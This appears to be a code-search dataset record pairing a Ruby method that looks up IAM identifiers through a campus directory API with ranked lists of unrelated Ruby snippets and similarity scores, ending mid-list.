"def hash\n [paginate_sheets, count_rows_per_page, count_columns_per_page, render_grid_lines, render_empty_rows, render_empty_columns, render_hidden_rows, render_hidden_columns, render_headings, render_print_area_only, text_overflow_mode].hash\n end",
"def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end",
"def map(hash); end",
"def source_map\n o = Object.new\n def o.generated_code; \"\"; end\n def o.to_h; {version: 3, sections: nil, sources: [], mappings: []}; end\n o\n end",
"def key_map\n hash = {}\n hash['upc'] = self.upc\n hash['quantity'] = self.quantity\n hash\n end",
"def hash\n [format, display_header, display_from_email_address, display_email_address, display_to_email_address, display_cc_email_address, display_bcc_email_address, time_zone_offset, convert_attachments, field_labels, preserve_original_date].hash\n end",
"def pretty_hash\n {}.tap do |h|\n h[:name] = cookbook_name if cookbook_name && cookbook_name =~ /\\S/\n h[:version] = version if version && version =~ /\\S/\n h[:description] = description if description && description =~ /\\S/\n h[:author] = maintainer if maintainer && maintainer =~ /\\S/\n h[:email] = maintainer_email if maintainer_email && maintainer_email =~ /\\S/\n h[:license] = license if license && license =~ /\\S/\n h[:platforms] = platforms.to_hash if platforms && !platforms.empty?\n h[:dependencies] = dependencies.to_hash if dependencies && !dependencies.empty?\n end\n end",
"def hash\n [ data, type ].hash\n end",
"def hash\n [apm_scanned_bytes, events_scanned_bytes, hour, logs_scanned_bytes, org_name, public_id, rum_scanned_bytes, total_scanned_bytes].hash\n end",
"def output_map\n map_towrite = Hash.new\n metro_towrite = []\n route_towrite = []\n\n #encode cuty\n @metros.each do |city_code, city|\n metro_towrite.push(city.output_json)\n end\n\n #encode route\n @metros.each do |city_code, city|\n dest = city.destination\n dest.each do |dest_city_code, distance|\n if dest_city_code == city_code\n puts \"impossible #{dest_city_code}\"\n end\n ports = []\n ports.push(city_code)\n ports.push(dest_city_code)\n one_route = Hash.new\n one_route['ports']=ports\n one_route['distance']=distance\n route_towrite.push(one_route)\n end\n end\n map_towrite['data source'] = @data_source\n map_towrite['metros']= metro_towrite\n map_towrite['routes']= route_towrite\n map_towrite['single_route'] = 1\n IO.write(\"../data/output_file.json\", JSON.pretty_generate(map_towrite))\n #write to files\n return map_towrite.to_json\n end"
] |
[
"0.76577294",
"0.6772557",
"0.6513285",
"0.6347994",
"0.6300414",
"0.6266258",
"0.626012",
"0.62476915",
"0.6217728",
"0.62121886",
"0.61759925",
"0.6142313",
"0.6093911",
"0.60845584",
"0.60786927",
"0.6052131",
"0.6052131",
"0.6052131",
"0.6052131",
"0.6052131",
"0.6052131",
"0.6052131",
"0.6052131",
"0.6052131",
"0.6052131",
"0.60491306",
"0.6038006",
"0.6034692",
"0.60341275",
"0.60241234",
"0.60237974",
"0.6000202",
"0.597984",
"0.59666824",
"0.5931402",
"0.59311324",
"0.5918665",
"0.591851",
"0.5918418",
"0.5899648",
"0.5897472",
"0.5884526",
"0.5884526",
"0.5884526",
"0.5884526",
"0.5884526",
"0.5884526",
"0.5884526",
"0.5877519",
"0.5867427",
"0.58584446",
"0.5839502",
"0.5833685",
"0.5831195",
"0.5829774",
"0.5820257",
"0.58000624",
"0.5786997",
"0.5780321",
"0.5774687",
"0.5774687",
"0.5774115",
"0.5774115",
"0.5774115",
"0.57641983",
"0.5757176",
"0.5742707",
"0.5739975",
"0.5736883",
"0.57341707",
"0.5731454",
"0.5726404",
"0.5715527",
"0.5711015",
"0.57073045",
"0.57053185",
"0.5697295",
"0.5696837",
"0.56911665",
"0.5689621",
"0.56862307",
"0.56855637",
"0.56781995",
"0.56690866",
"0.5668075",
"0.5657587",
"0.565727",
"0.56522",
"0.56449395",
"0.5637653",
"0.56299275",
"0.5628407",
"0.56283605",
"0.562372",
"0.56237197",
"0.5616059",
"0.5614153",
"0.5612638",
"0.5610158",
"0.56004006",
"0.5597533"
] |
0.0
|
-1
|
Returns an array of iam_ids, a string if no iam_id is found
|
def get_iam_id(query)
command = query.shift
command = command[0].downcase # required since shift returns an array
query = query.join(" ") # Convert query to a string
case command
when "first"
api = "api/iam/people/search";
query = {"dFirstName" => query}
when "last"
api = "api/iam/people/search";
query = {"dLastName" => query}
when "iamid"
# Return the iamid in a array
return [query]
when "loginid"
# TODO: Could also be non-kerberos? HSAD
# api/iam/people/prihsadacct/search
api = "api/iam/people/prikerbacct/search"
query = {"userId" => query}
when "email"
query = {"email" => ChatBotCommand.decode_slack(query)}
api = "api/iam/people/contactinfo/search"
else
# Search by login ID, e-mail, first name, and last name
# Return if the search retrieves an iamid, otherwise try another search
query = query == nil ? command : "#{command} #{query}"
search = get_iam_id "loginid #{query}".scan(/(\S+)/)
return search unless search.class == String
search = get_iam_id "email #{query}".scan(/(\S+)/)
return search unless search.class == String
search = get_iam_id "last #{query}".scan(/(\S+)/)
return search unless search.class == String
# Last option for searching, return regardless of result
search = get_iam_id "first #{query}".scan(/(\S+)/)
return search
end
result = get_from_api(api, query)
# get_from_api returns a string message if iamId is not found
unless result.empty?
iam_id = []
result.each do |data|
iam_id.push data["iamId"]
end
else
return "No result found"
end
return iam_id
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def allowlisted_ids\n if Ohai.config[:additional_dmi_ids]\n if [ Integer, Array ].include?(Ohai.config[:additional_dmi_ids].class)\n return ID_TO_CAPTURE + Array(Ohai.config[:additional_dmi_ids])\n else\n Ohai::Log.warn(\"The DMI plugin additional_dmi_ids config must be an array of IDs!\")\n end\n end\n ID_TO_CAPTURE\n end",
"def email_ids\n []\n end",
"def account_ids()\n return [1, 2]\n end",
"def account_ids\n user.app_metadata.fetch('account_ids', [])\n end",
"def user_ids\n array = Array.new\n\n self.each(\"USERS/ID\") do |id|\n array << id.text.to_i\n end\n\n return array\n end",
"def person_ids\n persons = Person.find_all_from_identifier(source: 'xkonto', identifier: username)\n return nil if persons.blank?\n return persons.map(&:id)\n end",
"def userids\n metadata[\"userids\"]\n end",
"def user_ids\n users.collect(&:id)\n end",
"def user_ids\n @attributes[:user_ids]\n end",
"def user_ids\n @attributes[:user_ids]\n end",
"def user_ids\n @attributes[:user_ids]\n end",
"def ids\n (1..get_item_count).map do |index|\n get_item_identifier index\n end\n end",
"def get_ids(array)\n ids = \"(\"\n array.each do |me|\n ids << me.id.to_s + \",\"\n end\n ids = ids.chomp(\",\")\n ids = ids + \")\"\n return ids\n\n end",
"def all_item_ids\n [id] + item_ids\n end",
"def user_ids\n ids = self.retrieve_elements(\"USERS/ID\")\n\n return [] if ids.nil?\n\n return ids.collect! {|x| x.to_i}\n end",
"def ids\n pluck(:id)\n end",
"def identifier_list(*ids, separator: /\\s*,\\s*/, **)\n ids = ids.flat_map { |v| v.is_a?(String) ? v.strip.split(separator) : v }\n ids.map! { |v| v.is_a?(ApplicationRecord) ? v.id : v }\n ids.map! { |v| positive(v) || v }.compact_blank!\n end",
"def user_ids\n users.pluck(:id)\n end",
"def get_user_ids\n @assigned_lawfirm_users.map(&:id)\n end",
"def get_ids\r\n case id\r\n when 1 then [1,2,3,4,5] # superadmin\r\n when 2 then [2] # data\r\n when 3 then [3,4,5] # centeradmin\r\n when 4 then [4,5] # teamadmin\r\n when 5 then [5] # behandler\r\n when 10 then [10,11,12,13,14,15] # login_bruger\r\n when 11 then [11] # parent\r\n when 12 then [12] # teacher\r\n when 13 then [13] # pedagogue\r\n when 14 then [14] # youth\r\n else []\r\n end\r\n end",
"def role_ids\n roles.pluck(:id)\n end",
"def ids\n @ids ||= []\n end",
"def group_ids\n [Ecircle.client.find_memberships_by_email(:email => email)].flatten.compact\n end",
"def user_ids\n UsersRole\n .joins(:role)\n .where(Role.arel_table[:resource_identifier].in(identifiers))\n .pluck(:user_id)\n .uniq\n end",
"def identifier_uris\n return @identifier_uris\n end",
"def get_lawyer_user_ids\n @assigned_lawfirm_users.map(&:id)\n end",
"def item_list\n list = Array.new;\n\n if @inv.respond_to?(\"each\")\n @inv.each do |invItem|\n list.push(invItem.first_id)\n end\n end\n \n return list.join(\", \");\n end",
"def extract_ids\n # no-op\n end",
"def all_ids(_context)\n raise NotImplementedError\n end",
"def ids(things)\n things.map(&:id).join(\",\")\n end",
"def workflow_ids\n approval_access = RBAC::Access.new('workflows', 'approve').process\n approval_access.send(:generate_ids)\n\n Rails.logger.info(\"Accessible workflows: #{approval_access.id_list}\")\n\n approval_access.id_list\n end",
"def users_ids\n object.member_ids\n end",
"def admin_ids\n ids = self.retrieve_elements(\"ADMINS/ID\")\n\n return [] if ids.nil?\n\n return ids.collect! {|x| x.to_i}\n end",
"def active_glm_id_list\n self.active_group_loan_memberships.map{|x| x.id }\n end",
"def inspect\n jids = to_a.collect { |item| item.jid.inspect }\n jids.join(', ')\n end",
"def requester_ids\n @requester_ids ||= []\n end",
"def owner_id_list(resource)\n id_list(resource, owner_request_ids)\n end",
"def ids\n options[:id][1..-2].split(\",\").map(&:to_i)\n end",
"def image_ids; (images.map(&:id) rescue []); end",
"def image_ids; (images.map(&:id) rescue []); end",
"def alternative_ids\n return @alternative_ids if @alternative_ids\n\n res = {}\n self.class.alternative_id_fields(access_by: current_user).each { |f| res[f] = alternative_id_value(f) }\n @alternative_ids = res\n end",
"def uids\n return [] unless valid?\n\n queries.search(name_query).merged_uids\n end",
"def workflow_ids\n approval_access = RBAC::Access.new('workflows', 'approve').process\n approval_access.send(:generate_ids)\n\n Rails.logger.info(\"Approvable workflows: #{approval_access.id_list}\")\n\n approval_access.id_list\n end",
"def list_ids(mixins = nil)\n id_list = []\n\n Backends::Ec2::Helpers::AwsConnectHelper.rescue_aws_service(@logger) do\n instance_statuses = @ec2_client.describe_instance_status(include_all_instances: true).instance_statuses\n instance_statuses.each { |istatus| id_list << istatus[:instance_id] } if instance_statuses\n end\n\n id_list\n end",
"def audiences\n return [] if @audience_ids.nil?\n @audience_ids.map { |id| Audience.find(id) }\n end",
"def participant_ids\n participants.pluck(:id)\n end",
"def all_users\n\t\tshared_users.map(&:id).join(\", \")\n\tend",
"def alias_ids\n investments.map(&:entity_id)\n end",
"def user_ids\n self.users.collect{|ud| ud.id}\n end",
"def player_ids\n\t\tmy_ids = []\n\t\tplayers.each { |player|\n\t\t\tmy_ids << player.id\n\t\t}\n\t\treturn my_ids\n\tend",
"def approver_id_list(resource)\n id_list(resource, approver_request_ids)\n end",
"def ids\n @schedules.map(&:id)\n end",
"def user_ids\n self.class.where(id: id).user_ids\n end",
"def record_ids(opts = {})\n opts = opts.merge(@opts)\n client.list_identifiers(opts).full.lazy.flat_map(&:identifier)\n end",
"def associates_list()\n\t\tassocs = Contract.associates_for(current_user()).all.inject([]) \\\n\t\t\t{ |ret, assoc| ret << ([assoc.username, assoc.id] unless assoc.id == 2) }.compact\n\tend",
"def acc_ids\n\t self.accounts.pluck(:id)\n\tend",
"def user_ids \n @user_ids ||= input[\"users\"].map{|user| user[\"id\"]}\nend",
"def user_member_ids\n member_ids(\"User\")\n end",
"def role_access_ids(group_id, access)\n role_access(group_id, access).collect(&:id)\n end",
"def identifiers\n request[:ids]\n end",
"def admids_for id\n @admid_map[id]\n end",
"def alma_availability_mms_ids\n fetch('bound_with_ids', [id])\n end",
"def jira_ids\n options[:jira_ids] || []\n end",
"def getMissionIds\n now = Time.zone.now #time in UTC 00\n missionsArray = Mission.where \"start < ? AND ? < end\", now, now\n return missionsArray.map { |m| m.id.to_s}\n end",
"def alma_availability_mms_ids\n fetch(\"bound_with_ids\", [id])\n end",
"def alma_availability_mms_ids\n fetch(\"bound_with_ids\", [id])\n end",
"def assignable_people_ids\n ([self.scrum_master_id.to_s] + self.team_member_ids).select {|u_id| !u_id.blank?}\n end",
"def list_stored_user_ids_ar\n Credential.all.map {|credential| credential.user_id}\nend",
"def group_ids\n groups.pluck(:id)\n end",
"def index\n @iams = $iam.groups.map{ |x| Iam.new(name: x.name) } \n @users = $iam.users\n @roles = $iam.client.list_roles \n end",
"def available_ids\n %w(bounce deliver drop spam unsubscribe click open).map(&:to_sym)\n end",
"def role_user_ids(role_name)\n return unless editable_and_viewable?\n\n UsersRole\n .joins(:role)\n .where(Role.arel_table[:resource_identifier].eq(roles_anchor_resource_identifier))\n .where(Role.arel_table[:name].in(role_name))\n .pluck(:user_id)\n .uniq\n end",
"def member_ids_field\n \"member_ids_ssim\"\n end",
"def member_object_ids\n return [] unless id\n member_objects.map(&:id)\n end",
"def all_ids\n json = JSON.parse(http_client.get(\"mobiledevices\"))\n json[\"mobile_devices\"].map { |c| c[\"id\"] }\n end",
"def group_ids\n groups.map{|g| g.id}\n end",
"def datastore_ids\n array = Array.new\n\n self.each(\"DATASTORES/ID\") do |id|\n array << id.text.to_i\n end\n\n return array\n end",
"def workflow_ids\n AccessControlEntry.where(:aceable_type => 'Workflow', :permission => 'approve', :group_uuid => assigned_group_refs).pluck(:aceable_id)\n end",
"def all_ids\n @all_ids ||= @ids_fenotypes.keys\n @all_ids\n end",
"def libraries_id_array\n staff_member_library_ids = []\n self.library.each do |l|\n staff_member_library_ids << l.id\n end\n staff_member_library_ids\n end",
"def getAssociateDocumentIds\r\n\t\t\t\t\treturn @associateDocumentIds\r\n\t\t\t\tend",
"def arr_participants\n participants.split(',').map{|id|\n User.find(id) rescue nil\n }\n end",
"def ingested_ids\n ingested_ids_by_type.flatten\n end",
"def ingested_ids\n ingested_ids_by_type.flatten\n end",
"def client_application_ids\n return @client_application_ids\n end",
"def offer_ids\n offers.map(&:id)\n end",
"def identities\n User.where(:provider => provider, :uid => uid)\n end",
"def banned_user_ids\n Rails.cache.fetch('banned-user-ids', expires_in: 1.week) do\n User.banned.pluck(:id)\n end\n end",
"def get_user_ids(fname=\"../id_list\")\n file = File.open(fname, \"r\")\n ids = []\n file.each do |line|\n ids += [Integer(line.split(\":\")[1].strip())]\n end\n file.close() \n return ids\nend",
"def actors_ids\n actors_ids = []\n actors_name.each_with_index do |actor, index|\n actors_ids << document[\"castMember\"][directors_name.size + index][\"person\"][\"code\"] if actor == document[\"castMember\"][directors_name.size + index][\"person\"][\"name\"]\n end\n actors_ids\n end",
"def collection_to_id_array(col)\n ids = Array.new\n col.each do |i|\n ids << i.id\n end\n ids\n end",
"def user_ids\n post\n .organization\n .users\n .select(:id)\n .where('members.active = true')\n .where('users.push_notifications = true')\n end",
"def passenger_ids\n passenger_ids = []\n self.ridings.each {|riding| passenger_ids << riding.user_id}\n return passenger_ids\n end",
"def identifier_list(*ids, **opt)\n cid = current_id.presence\n ids = params.values_at(*id_param_keys) if ids.blank?\n super(ids, **opt).tap do |result|\n result.map! { |v| CURRENT_ID.casecmp?(v) ? cid : v } if cid\n end\n end",
"def group_ids\n @attributes[:group_ids]\n end",
"def group_ids\n @attributes[:group_ids]\n end",
"def group_ids\n @attributes[:group_ids]\n end",
"def pmids \n @pmids ||= []\n end",
"def id_list(item, **opt)\n id_split(item).map! { |v| id_obj(v, **opt) }.compact\n end",
"def all_friend_ids(username = false)\n ids = []\n cursor = \"-1\"\n while cursor != 0 do \n json = get(\"/friends/ids.json?cursor=#{cursor}#{username ? \"&screen_name=#{username}\" : ''}\")\n cursor = json[\"next_cursor\"]\n ids += json[\"ids\"]\n end\n ids\n end"
] |
[
"0.6547448",
"0.6448394",
"0.62410825",
"0.61620235",
"0.61123013",
"0.6070029",
"0.6065504",
"0.60379684",
"0.5994635",
"0.5994635",
"0.5994635",
"0.5976715",
"0.5943013",
"0.59308475",
"0.5911662",
"0.5907664",
"0.5904367",
"0.590193",
"0.5892932",
"0.58854043",
"0.5881404",
"0.5854396",
"0.5801672",
"0.579421",
"0.57420087",
"0.57395595",
"0.57251275",
"0.5695389",
"0.5672421",
"0.5642928",
"0.5635024",
"0.5617901",
"0.56081265",
"0.56031615",
"0.56017065",
"0.5596601",
"0.55881214",
"0.5578304",
"0.5516952",
"0.5516952",
"0.55141026",
"0.5504237",
"0.550157",
"0.55013484",
"0.5482105",
"0.54633456",
"0.54578656",
"0.5455851",
"0.5448383",
"0.5444487",
"0.5441837",
"0.54416144",
"0.54290366",
"0.54250515",
"0.5412705",
"0.5404885",
"0.5404222",
"0.5403542",
"0.53994924",
"0.53929794",
"0.5373533",
"0.5367427",
"0.5362406",
"0.53566915",
"0.5346785",
"0.5346785",
"0.53423357",
"0.53337884",
"0.53275",
"0.5326649",
"0.53242373",
"0.5323494",
"0.5322644",
"0.5321563",
"0.5320235",
"0.5315662",
"0.52880305",
"0.5264853",
"0.5250593",
"0.52498055",
"0.524196",
"0.523763",
"0.522927",
"0.522927",
"0.52207416",
"0.52192795",
"0.5202054",
"0.52004945",
"0.5197679",
"0.5197592",
"0.5193858",
"0.5192389",
"0.51881146",
"0.5183398",
"0.5178434",
"0.5178434",
"0.5178434",
"0.51767904",
"0.5169057",
"0.51662534"
] |
0.5451472
|
48
|
Formats the data from IAM API to a prettier format
|
def format_data(data, private_allowed)
# Store all formatted data in this array
formatted_data = []
# Format name with flags
# Name Mark Diez (student, employee, staff)
# IAM ID 1234566
if !data["basic_info"].empty?
data["basic_info"].each do |info|
name = "*Name* " + info["dFullName"]
flags = []
if info["isEmployee"]
flags.push "employee"
end
if info["isHSEmployee"]
flags.push "hs employee"
end
if info["isFaculty"]
flags.push "faculty"
end
if info["isStudent"]
flags.push "student"
end
if info["isStaff"]
flags.push "staff"
end
if info["isExternal"]
flags.push "external"
end
flags = " _(" + flags.join(", ") + ")_"
name += flags
formatted_data.push name
formatted_data.push "*IAM ID* #{info["iamId"]}"
if private_allowed
formatted_data.push "*Student ID* #{info["studentId"]}" unless info["studentId"] == nil
formatted_data.push "*PPS ID* #{info["ppsId"]}" unless info["ppsId"] == nil
end
end
end
# Format Kerberos information
# Login ID msdiez, anotherid, ...
if !data["kerberos_info"].empty?
ids = []
data["kerberos_info"].each do |info|
id = info["userId"] == nil ? "Not Listed" : info["userId"]
ids.push id
end
formatted_data.push "*Login ID* " + ids.join(", ")
else
login_id = "*Login ID* Not Listed"
formatted_data.push login_id
end
# Format contact information
# E-mail [email protected], [email protected]
# Office kerr 186, social science 133, ...
if !data["contact_info"].empty?
email = []
office = []
data["contact_info"].each do |info|
email.push info["email"] unless info["email"] == nil
office.push info["addrStreet"] unless info["addrStreet"] == nil
end
formatted_data.push "*E-mail* " + email.join(", ")
formatted_data.push "*Office* " + office.join(", ")
else
formatted_data.push "*E-mail* Not Listed"
formatted_data.push "*Office* Not Listed"
end
# Format ODR information
# ODR Affiliation DSSIT: STD4 (Casual)
require 'pp'
pp data
if !data['odr_info'].empty?
data['odr_info'].each do |info|
odr = '*ODR Affiliation* '
odr += info['deptDisplayName'] + ': ' unless info['deptDisplayName'].nil?
odr += info['titleDisplayName'] unless info['titleDisplayName'].nil?
formatted_data.push odr
end
end
# Format PPS information
# PPS Affiliation DSSIT: STD4
if !data['pps_info'].empty?
data['pps_info'].each do |info|
dept_name = info['deptDisplayName'] || 'Unknown Department'
dept_code = info['deptCode'] || 'Unknown Department Code'
title_name = info['titleDisplayName'] || 'Unknown Title'
title_code = info['titleCode'] || 'Unknown Title Code'
position_type = info['positionType'] || 'Unknown Position Type'
employee_class = info['emplClassDesc'] || 'Unknown Employee Class'
formatted_data.push "*PPS Affiliation*"
formatted_data.push " Department: #{dept_name} (#{dept_code})"
formatted_data.push " Title: #{title_name} (#{title_code}) (#{position_type})"
formatted_data.push " Employee Class: #{employee_class}"
end
end
# Format student information
# Student Affiliation Computer Science (Undergraduate, Junior)
if !data['student_info'].empty?
data['student_info'].each do |info|
student = '*Student Affiliation* '
student += info['majorName'] + ' ('
student += info['levelName'].scan(/\S+/)[0] # Only grab the first word
student += ', ' + info['className'] + ')'
formatted_data.push student
end
end
return formatted_data.join("\n")
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def format_data(data)\n case format\n when :json\n JSON.pretty_generate(data)\n else # default to YAML\n data.to_yaml.sub(/\\A\\-\\-\\-\\n/, '')\n end\n end",
"def formatted_data\n self.data['bids'] = adjusted('bids')\n self.data['asks'] = adjusted('asks')\n data\n end",
"def formatAPA\n (prettyOutput(@authors.map { |x| x.to_s }) + \"(\" + @datee.year.to_s + \") \" + @title +\n \"\\n\\t(\" + @edition.to_s + \") \" +\n \"(\" + @editionnumber.to_s + \") \" +\n @url)\n end",
"def format data\n data\n end",
"def format(result)\n result.values.join(\"\\n\")\n end",
"def formatForLIMSUpload()\n result = \"TOTAL_READS \" + @totalReadsProduced.to_s +\n \" DUPLICATE_READS \" + @numDuplicateReads.to_s +\n \" PERCENT_DUPLICATE_READS \" + @perDuplicateReads.to_s +\n \" TOTAL_ALIGNED_READS \" + @numAlignedReads.to_s +\n \" PERCENT_ALIGNED_READS \" + @perAlignedReads.to_s +\n \" READS_PAIRED \" + @numReadsPaired.to_s + \n \" READS_PAIRED_MAPPED_MATES \" + @numReadAndMatePaired.to_s +\n \" BUFFER_ALIGNED_READS \" + @numBufferAlignedReads.to_s +\n \" PERCENT_BUFFER_ALIGNED_READS \" + @perBufferAlignedReads.to_s +\n \" TARGET_ALIGNED_READS \" + @numTargetAlignedReads.to_s +\n \" PERCENT_TARGET_ALIGNED_READS \" + @perTargetAlignedReads.to_s +\n \" AVERAGE_COVERAGE \" + @avgCoverage.to_s +\n \" READS_ON_TARGET_OR_BUFFER \" + @numReadsTargetBuffer.to_s +\n \" PERCENT_READS_ON_TARGET_OR_BUFFER \" + @perReadsTargetBuffer.to_s +\n \" TOTAL_EXPECTED_ALIGNED_READS \" + @totalExpAlignedReads.to_s +\n \" TOTAL_CALC_ALIGNED_READS \" + @totalCalcAlignedReads.to_s + \n \" TARGETS_HIT \" + @numTargetsHit.to_s + \" PERCENT_TARGETS_HIT \" + @perTargetsHit.to_s +\n \" TARGET_BUFFERS_HIT \" + @numTargetBuffersHit.to_s +\n \" PER_TARGET_BUFFERS_HITS \" + @perTargetBuffersHit.to_s +\n \" TOTAL_TARGETS \" + @numTotalTargets.to_s +\n \" HIGH_COVERAGE_NON_TARGET_HITS \" + @numNonTarget.to_s +\n \" BASES_ON_TARGET \" + @numTargetedBases.to_s + \" BASES_ON_BUFFER \" + @numBufferBases.to_s +\n \" ONE_COVERAGE_BASES \" + @numBases1Coverage.to_s +\n \" PER_ONE_COVERAGE_BASES \" + @perBases1Coverage.to_s +\n \" FOUR_COVERAGE_BASES \" + @numBases4Coverage.to_s +\n \" PER_FOUR_COVERAGE_BASES \" + @perBases4Coverage.to_s +\n \" TEN_COVERAGE_BASES \" + @numBases10Coverage.to_s +\n \" PER_TEN_COVERAGE_BASES \" + @perBases10Coverage.to_s +\n \" TWENTY_COVERAGE_BASES \" + @numBases20Coverage.to_s +\n \" PER_TWENTY_COVERAGE_BASES \" + @perBases20Coverage.to_s +\n \" FORTY_COVERAGE_BASES \" + @numBases40Coverage.to_s +\n \" PER_FORTY_COVERAGE_BASES \" + @perBases40Coverage.to_s\n return result\n end",
"def format_json\n {\n id: self.id,\n email: self.email,\n username: self.username,\n first_name: self.first_name,\n last_name: self.last_name,\n tagline: self.tagline,\n bio: self.bio,\n avatar: self.avatar,\n default_league_id: self.default_league_id\n }\n end",
"def format_example(example)\n {\n id: example.id,\n description: example.description,\n full_description: example.full_description,\n status: example.execution_result.status.to_s,\n file_path: example.metadata[:file_path],\n line_number: example.metadata[:line_number],\n type: example.metadata[:type],\n pending_message: example.execution_result.pending_message\n }\n end",
"def formatter; end",
"def formatter; end",
"def formatter; end",
"def info\n standardize\n # Alphebatize the API hash\n @api_sort = @api_hash.sort\n # Convert to array because SQLite\n @api_arr = @api_sort.flat_map do |_, v|\n v.is_a?(Hash) ? v.map { |_, w| escape(w) } : escape(v)\n end\n end",
"def formatData(data)\n data.keys.each{|key| data}\n end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format_data\n formatted_data = nil\n unless @raw_data.class == Hash # Webmock hack\n case options.format.to_sym\n when :json\n formatted_data = JSON.parse(@raw_data, symbolize_names: true)\n when :xml\n formatted_data = MultiXml.parse(@raw_data)['userinfo']\n end\n end\n\n formatted_data\n end",
"def format_response response \n translate_response_hash_keys response_to_hash(response)\n end",
"def format\n @item_attributes.first.format.collect {|f| f.to_s}\n end",
"def pretty_format\n pretty = \"\"\n sorted = @hash.sort_by { |name, arrays| name }\n\n sorted.each { |name, array|\n pretty.concat(name)\n pretty.concat(\": \")\n pretty.concat(\"#{@hash[name].join(\",\")}\\n\")\n\n }\n pretty\n\n ### FILL IN YOUR CODE HERE\n end",
"def inspect\n out = \"\"\n self.each_pair do |k ,v|\n out << \"%-40s\" % k.to_s.yellow unless [:header, :item, :magic].include? k\n case k\n when :image_format then out << \"0x%03x\\n\" % v\n when :header\n v.each_pair do |i, j|\n out << \"%-40s%s\\n\" % [i.to_s.yellow, j] if i == :item_count\n out << \"%-40s%d MB\\n\" % [i.to_s.yellow, j>> 20] if i == :len_low\n # out \"res:\" << reserved.inspect if i == :reserved\n end\n when :item\n out << \"Items\\n\".light_blue\n v.each { |it| out << it.inspect << \"\\n\" }\n end\n end\n out\n end",
"def preformatting\n\n end",
"def formatted_json_response(opts={})\n [\n \"# HTTP #{response.status}\",\n canonicalize_json(response.body, opts),\n '' # make baseline file end with newline\n ].join(\"\\n\")\n end",
"def format_example(example)\n res = super(example)\n res[:id] = example.metadata[:id]\n res\n end",
"def format_attributes(attributes)\n if attributes.size > 0\n \" \" + attributes.map{ |k, v, attr| format_attribute(k, v, attr)}.join(\" \")\n else\n \"\"\n end\n end",
"def pretty_format(value)\n case value\n when nil, Numeric\n value.inspect\n when Api::Record\n value.to_json(pretty: true)\n when ApiService::HtmlResultError\n value.response.body\n when Faraday::Error\n response =\n value.response.pretty_inspect\n .gsub(/\\n/, PF_NEWLINE)\n .sub(/\\A{/, PF_OPEN_BRACE)\n .sub(/}\\s*\\z/, PF_CLOSE_BRACE)\n [\n \"#<#{value.class}\",\n \"#{PF_INDENT}message = #{value.message.inspect}\",\n \"#{PF_INDENT}response = #{response}\",\n '>'\n ].join(\"\\n\")\n when Exception\n value.pretty_inspect.gsub(/@[^=]+=/, (PF_NEWLINE + '\\0'))\n else\n pretty_json(value)\n end\n end",
"def prettify(obj)\n # Most look best with pretty_inspect\n str = obj.pretty_inspect\n # Mashes need to be first converted to Hashes then pretty_inspect\n if obj.kind_of? Mash\n str = obj.to_hash.pretty_inspect\n end\n # For Arrays, pretty_inspect displays one value per line which\n # uses up too much real estate\n if obj.kind_of? Array\n str = obj.inspect\n end\n # Manually format Hashes so keys and values each display in columns\n if obj.kind_of? Hash\n key_length = 0\n obj.keys.each do |key|\n key_length = key.length if key.length > key_length\n end\n buf = []\n obj.each do |key,value|\n buf << sprintf(\"%-#{key_length}.#{key_length}s => %s\", key, value)\n end\n str = buf.join(\"\\n\")\n end\n str\n end",
"def format_body_for_log_output(obj)\n #obj.body.inspect\n output = ''\n if obj.content_type == 'application/json'\n if @log_pretty_print_body\n output << \"\\n\"\n output << JSON.pretty_generate(JSON.parse(obj.body))\n return output\n else\n return obj.body\n end\n else\n return obj.body.inspect\n end\n end",
"def format_attributes\n self.email = self.email.downcase\n self.first_name = self.first_name.titleize\n self.last_name = self.last_name.titleize\n self.full_name = \"#{self.first_name} #{self.last_name}\"\n end",
"def to_output_format(data)\n records = []\n data.each do |arr|\n records << {\n last_name: arr[0],\n first_name: arr[1],\n gender: arr[2],\n favorite_color: arr[3],\n birthdate: arr[4]\n } \n end\n records\n end",
"def to_s\n\t\t\"#{@api_hash}\"\n\tend",
"def format\n f = @item_attributes.first.format\n f.to_s unless f.nil?\n end",
"def to_nice_json\n JSON.pretty_generate to_hash\n end",
"def to_nice_json\n JSON.pretty_generate to_hash\n end",
"def formatted_cache_data\n {\n id: id,\n name: name,\n symbol: symbol,\n status: status\n }\n end",
"def format_api_result(value, indent: nil, separator: \"\\n\", html: true)\n record = value.is_a?(Api::Record)\n value = value.body if value.is_a?(Faraday::Response)\n space = html ? ' ' : ' '\n indent = indent.gsub(/[ \\t]/, space) if indent.is_a?(String)\n indent = space * indent if indent.is_a?(Integer)\n lines =\n if record && value.exception.present?\n # === Exception or error response value ===\n value = value.pretty_inspect\n value = mask_later_exceptions(value)\n value.split(/\\n/).map do |line|\n line = \"#{indent}#{line}\" if indent\n line = html_div(line, class: 'exception') if html\n line\n end\n\n elsif record || value.is_a?(Exception) || value.is_a?(String)\n # === Valid JSON response value ===\n value = pretty_format(value)\n value.gsub!(/\\\\\"([^\"\\\\]+?)\\\\\":/, '\\1: ')\n value = ERB::Util.h(value) if html\n value.gsub!(/,([^ ])/, (',' + space + '\\1'))\n value.gsub!(/^( +)/) { |s| s.gsub(/ /, (space * 2)) } if html\n value.gsub!(/^([^:]+:) /, ('\\1' + space))\n value = make_links(value) if html\n value.split(/\\n/).map do |line|\n line = \"#{indent}#{line}\" if indent\n line = html_div(line.html_safe, class: 'data') if html\n line\n end\n\n else\n # === Scalar response value ===\n value = value.pretty_inspect\n value.split(/\\n/).map do |line|\n line = \"#{indent}#{line}\" if indent\n line = html_div(line, class: 'data') if html\n line\n end\n\n end\n html ? safe_join(lines, separator) : lines.join(separator)\n end",
"def pretty_generate\n JSON.pretty_generate( self.to_h )\n end",
"def to_pretty\n to_s(:prettyprint => true)\n end",
